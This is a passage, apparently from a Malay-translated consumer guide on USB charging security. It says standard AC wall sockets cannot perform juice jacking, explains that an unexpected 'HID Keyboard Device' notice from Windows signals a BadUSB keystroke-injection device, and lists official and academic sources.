Ya, 100 peratus selamat. Soket dinding elektrik AC 110V / 230V standard (tempat anda memasangkan bata kuasa Apple, Samsung atau Anker anda sendiri) hanya membawa kuasa elektrik arus ulang-alik dan mempunyai sambungan data sifar yang mampu berkomunikasi dengan pengawal USB telefon anda. Asalkan anda guna bata penyesuai dinding AC dipercayai anda sendiri dan kabel USB dipercayai anda sendiri, alur keluar elektrik AC lapangan terbang atau hotel tidak boleh melakukan serangan Juice Jacking atau BadUSB.

Mengapakah Windows muncul "Menyediakan peranti: Peranti Papan Kekunci HID" apabila saya memalamkan pemacu kilat USB atau pengecas vape/e-rokok?

Melihat Windows memaparkan bacaan pemberitahuan roti bakar "Menyediakan peranti: Peranti Papan Kekunci HID" apabila anda memasukkan sesuatu yang bukan papan kekunci (seperti pemacu denyar USB, kabel pengecasan, kipas meja murah, bingkai foto digital atau pengecas vape) ialah senapang merokok yang tidak boleh dinafikan #1 bagi BadUSB / HID Ketukan Kekunci Serangan Suntikan. Tiada pemacu kilat atau kabel pengecas yang sah perlu mendaftar dengan Windows sebagai papan kekunci. Cabut palam peranti serta-merta, putuskan sambungan daripada Wi-Fi dan jalankan PowerShell RunMRU dan PSReadLine arahan audit dalam Fasa 2 untuk melihat arahan yang ditaip papan kekunci palsu itu.


Sumber disemak

  • Biro Penyiasatan Persekutuan (FBI) & Suruhanjaya Komunikasi Persekutuan (FCC) (Amerika Syarikat): Pengumuman Perkhidmatan Awam mengenai Risiko Stesen Pengecas USB Awam ("Juice Jacking") dan Implan Perkakasan Berniat Hasad.
  • Agensi Keselamatan Negara (NSA) & Agensi Keselamatan Siber dan Infrastruktur (CISA) (Amerika Syarikat): Amalan Terbaik Peranti Mudah Alih: Perjalanan Selamat dengan Telefon Mudah Alih, Komputer Riba dan Peranti USB.
  • Universiti Teknologi Graz (TU Graz Kumpulan Penyelidikan InfoSec): ChoiceJacking: Mengkompromi Peranti Mudah Alih melalui Pengecas Hasad melalui Suntikan USB HID (Simposium Keselamatan USENIX).
  • Panduan Keselamatan Platform Apple: Mod Sekatan USB, Akses Aksesori Apabila Dikunci, dan Seni Bina Keizinan Aksesori Apple Silicon USB/Thunderbolt.
  • Forum Pelaksana USB (USB-IF): Pengesahan USB Jenis-C, Penghantaran Kuasa (USB PD), dan Peranti Antara Muka Manusia (HID Kelas 0x03) Spesifikasi.

Panduan berkaitan